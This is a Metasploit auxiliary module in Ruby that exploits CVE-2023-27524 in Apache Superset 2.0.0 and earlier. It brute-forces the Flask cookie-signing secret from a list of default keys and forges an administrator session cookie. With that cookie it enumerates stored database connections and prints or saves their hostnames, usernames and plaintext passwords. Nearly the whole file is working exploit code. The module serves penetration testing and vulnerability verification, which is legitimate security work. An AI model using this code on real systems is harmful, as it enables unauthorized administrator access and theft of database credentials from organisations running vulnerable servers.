## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Superset Signed Cookie Priv Esc', 'Description' => %q{ Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies. These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database credentials saved in Apache Superset. }, 'Author' => [ 'h00die', # MSF module 'paradoxis', # original flask-unsign tool 'Spencer McIntyre', # MSF flask-unsign library 'Naveen Sunkavally' # horizon3.ai writeup and cve discovery ], 'References' => [ ['URL', 'https://github.com/Paradoxis/Flask-Unsign'], ['URL', 'https://vulcan.io/blog/cve-2023-27524-in-apache-superset-what-you-need-to-know/'], ['URL', 'https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/'], ['URL', 'https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py'], ['EDB', '51447'], ['CVE', '2023-27524' ], ], 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS], 'RelatedModules' => ['exploit/linux/http/apache_superset_cookie_sig_rce'] }, 'DisclosureDate' => '2023-04-25' ) ) register_options( [ Opt::RPORT(8088), OptString.new('USERNAME', [true, 'The username to authenticate as', nil]), OptString.new('PASSWORD', [true, 'The password for the specified username', nil]), OptInt.new('ADMIN_ID', [true, 'The ID of an admin account', 1]), OptString.new('TARGETURI', [ true, 'Relative URI of Apache Superset installation', '/']), OptPath.new('SECRET_KEYS_FILE', [ false, 'File containing secret keys to try, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt') ]), ] ) end def check res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'login') }) return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? return Exploit::CheckCode::Unknown("#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 return Exploit::CheckCode::Safe("#{peer} - Unexpected response, version_string not detected") unless res.body.include? 'version_string' unless res.body =~ /"version_string": "([\d.]+)"/ return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version_string") end version = Rex::Version.new(Regexp.last_match(1)) if version < Rex::Version.new('2.0.1') && version >= Rex::Version.new('1.4.1') Exploit::CheckCode::Appears("Apache Supset #{version} is vulnerable") else Exploit::CheckCode::Safe("Apache Supset #{version} is NOT vulnerable") end end def get_secret_key(cookie) File.open(datastore['SECRET_KEYS_FILE'], 'rb').each do |secret| secret = secret.strip vprint_status("#{peer} - Checking secret key: #{secret}") unescaped_secret = Rex::Text.dehex(secret.gsub('\\', '\\').gsub('\\n', "\n").gsub('\\t', "\t")) unless Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.valid?(cookie, unescaped_secret) vprint_bad("#{peer} - Incorrect secret key: #{secret}") next end print_good("#{peer} - Found secret key: #{secret}") return secret end nil end def validate_cookie(decoded_cookie, secret_key) print_status("#{peer} - Attempting to resign with key: #{secret_key}") encoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.sign(decoded_cookie, secret_key) print_status("#{peer} - New signed cookie: #{encoded_cookie}") cookie_jar.clear res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'me', '/'), 'cookie' => "session=#{encoded_cookie};", 'keep_cookies' => true ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? if res.code == 401 print_bad("#{peer} - Cookie not accepted") return nil end data = res.get_json_document print_good("#{peer} - Cookie validated to user: #{data['result']['username']}") return encoded_cookie end def run res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code (#{res.code})") unless res.code == 200 fail_with(Failure::NotFound, 'Unable to determine csrf token') unless res.body =~ /name="csrf_token" type="hidden" value="([\w.-]+)">/ csrf_token = Regexp.last_match(1) vprint_status("#{peer} - CSRF Token: #{csrf_token}") cookie = res.get_cookies.to_s print_status("#{peer} - Initial Cookie: #{cookie}") decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie.split('=')[1].gsub(';', '')) print_status("#{peer} - Decoded Cookie: #{decoded_cookie}") print_status("#{peer} - Attempting login") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login', '/'), 'keep_cookies' => true, 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'csrf_token' => csrf_token } }) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::NoAccess, "#{peer} - Failed login") if res.body.include? 'Sign In' cookie = res.get_cookies.to_s print_good("#{peer} - Logged in Cookie: #{cookie}") # get the cookie value and strip off anything else cookie = cookie.split('=')[1].gsub(';', '') secret_key = get_secret_key(cookie) fail_with(Failure::NotFound, 'Unable to find secret key') if secret_key.nil? decoded_cookie = Msf::Exploit::Remote::HTTP::FlaskUnsign::Session.decode(cookie) decoded_cookie['user_id'] = datastore['ADMIN_ID'] print_status("#{peer} - Modified cookie: #{decoded_cookie}") admin_cookie = validate_cookie(decoded_cookie, secret_key) fail_with(Failure::NoAccess, "#{peer} - Unable to sign cookie with a valid secret") if admin_cookie.nil? (1..101).each do |i| res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', i), 'cookie' => "session=#{admin_cookie};", 'keep_cookies' => true ) fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? if res.code == 401 || res.code == 404 print_status('Done enumerating databases') break end result_json = res.get_json_document db_display_name = result_json['result']['database_name'] db_name = result_json['result']['parameters']['database'] db_type = result_json['result']['backend'] db_host = result_json['result']['parameters']['host'] db_port = result_json['result']['parameters']['port'] db_pass = result_json['result']['parameters']['password'] db_user = result_json['result']['parameters']['username'] if framework.db.active create_credential_and_login({ address: db_host, port: db_port, protocol: 'tcp', workspace_id: myworkspace_id, origin_type: :service, service_name: db_type, username: db_user, private_type: :password, private_data: db_pass, module_fullname: fullname, status: Metasploit::Model::Login::Status::UNTRIED }) end print_good("Found #{db_display_name}: #{db_type}://#{db_user}:#{db_pass}@#{db_host}:#{db_port}/#{db_name}") end end end